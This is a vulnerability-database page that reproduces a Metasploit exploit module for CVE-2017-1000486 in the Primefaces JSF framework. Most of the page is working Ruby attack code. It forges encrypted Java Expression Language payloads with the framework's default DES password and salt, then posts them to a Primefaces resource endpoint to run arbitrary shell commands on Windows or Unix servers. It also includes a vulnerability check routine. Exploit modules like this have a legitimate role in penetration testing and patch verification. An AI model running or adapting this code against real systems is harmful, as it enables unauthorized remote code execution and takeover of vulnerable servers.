Lucene search
K

Primefaces Remote Code Execution Exploit

🗓️ 07 Dec 2024 18:54:24Reported by Bjoern Schuette, h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 1210 Views

Exploits Java Expression Language flaw in Primefaces framework, affecting versions before 5.2.21.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Primefaces Remote Code Execution Exploit',
        'Description' => %q{
          This module exploits a Java Expression Language remote code execution flaw in the Primefaces JSF framework.
          Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack,
          due to the use of weak crypto and default encryption password and salt.

          Tested against Docker image with Tomcat 7.0 with the Primefaces 5.2 showcase application. See
          documentation for working payloads.
        },
        'Author' => [
          'Bjoern Schuette', # EDB
          'h00die' # lots of fixes, documentation, standardization
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2017-1000486'],
          ['URL', 'https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html'],
          ['URL', 'https://web.archive.org/web/20180515174733/https://cryptosense.com/blog/weak-encryption-flaw-in-primefaces'],
          ['URL', 'https://schuette.se/2018/01/17/cve-2017-1000486-in-your-primeface/'],
          ['URL', 'https://github.com/primefaces/primefaces/issues/1152'],
          ['URL', 'https://github.com/pimps/CVE-2017-1000486/tree/master'],
          ['EDB', '43733']
        ],
        'Payload' => {
          'BadChars' => '"\'\\' # all threw errors
        },
        'Privileged' => true,
        'DisclosureDate' => '2016-02-15',
        'Platform' => ['unix', 'bsd', 'linux', 'osx', 'win'],
        'Arch' => ARCH_CMD,
        'Targets' => [
          [
            'Universal', {},
          ],
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => []
        }
      )
    )

    register_options([
      Opt::RPORT(80),
      OptString.new('PASSWORD', [ true, 'The password to login', 'primefaces']),
      OptString.new('TARGETURI', [true, 'The base path to primefaces', '/'])
    ])
  end

  def encrypt_el(password, payload)
    # el == Java Expression Language
    salt = [0xa9, 0x9b, 0xc8, 0x32, 0x56, 0x34, 0xe3, 0x03].pack('c*')
    iteration_count = 19

    cipher = OpenSSL::Cipher.new('DES')
    cipher.encrypt
    cipher.pkcs5_keyivgen password, salt, iteration_count

    ciphertext = cipher.update payload
    ciphertext << cipher.final
    ciphertext
  end

  def http_send_command(payload_wrapper)
    encrypted_payload = encrypt_el(datastore['PASSWORD'], payload_wrapper)
    encrypted_payload = Rex::Text.encode_base64(encrypted_payload)

    # send the payload and execute command
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'javax.faces.resource', 'dynamiccontent.properties.xhtml'),
      'vars_post' => {
        'pfdrt' => 'sc',
        'ln' => 'primefaces',
        'pfdrid' => encrypted_payload
      }
    })

    res
  end

  def exploit
    cmd = payload.encoded

    # good for testing
    # cmd = "whoami"
    # error logs will show
    # Nov 13, 2024 7:10:32 PM org.primefaces.application.resource.StreamedContentHandler handle
    # SEVERE: Error in streaming dynamic resource. Cannot call sendError() after the response has been committed
    payload_wrapper = '${facesContext.getExternalContext().getResponse().setContentType("text/plain;charset=\"UTF-8\"")}'
    payload_wrapper << '${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}'
    payload_wrapper << '${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}'
    payload_wrapper << '${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}'
    payload_wrapper << '${session.getAttribute("scriptengine").eval('
    payload_wrapper << '"var os = java.lang.System.getProperty(\"os.name\");'
    payload_wrapper << 'var proc = null;'
    payload_wrapper << 'os.toLowerCase().contains(\"win\")? '
    payload_wrapper << "proc = new java.lang.ProcessBuilder[\\\"(java.lang.String[])\\\"]([\\\"cmd.exe\\\",\\\"/C\\\",\\\"#{cmd}\\\"]).start()"
    payload_wrapper << " : proc = new java.lang.ProcessBuilder[\\\"(java.lang.String[])\\\"]([\\\"/bin/sh\\\",\\\"-c\\\",\\\"#{cmd}\\\"]).start();"
    payload_wrapper << 'var is = proc.getInputStream();'
    payload_wrapper << 'var sc = new java.util.Scanner(is,\"UTF-8\"); var out = \"\";'
    payload_wrapper << 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);")}'
    payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().flush()}'
    payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().close()}'

    vprint_status("Attempting to execute: #{cmd}")
    res = http_send_command(payload_wrapper)
    fail_with(Failure::UnexpectedReply, 'Internal server error. Payload may be incompatible.') if res&.code == 500
    # successful exploitation gives us no response
  end

  def check
    marker = rand_text_alpha_lower(5..9)
    # https://github.com/Pastea/CVE-2017-1000486/blob/main/exploit.py#L135C14-L135C92
    # payload_wrapper = '${facesContext["getExternalContext"]()["setResponseHeader"]("PROVA","123456")}'
    payload_wrapper = "${facesContext[\"getExternalContext\"]()[\"setResponseHeader\"](\"#{marker}\", \"#{marker}\")}"

    res = http_send_command(payload_wrapper)
    return Exploit::CheckCode::Unknown('Unable to determine due to a HTTP connection timeout') if res.nil?
    return Exploit::CheckCode::Vulnerable('Victim evaluates Java Expression Language expressions') if res.headers && res.headers[marker] == marker

    Exploit::CheckCode::Safe('Server does not process Java Expression Language expressions, likely not vulnerable')
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Jul 2026 19:03Current
9.9High risk
Vulners AI Score9.9
CVSS 27.5
CVSS 3.19.8
EPSS0.94104
SSVC
1210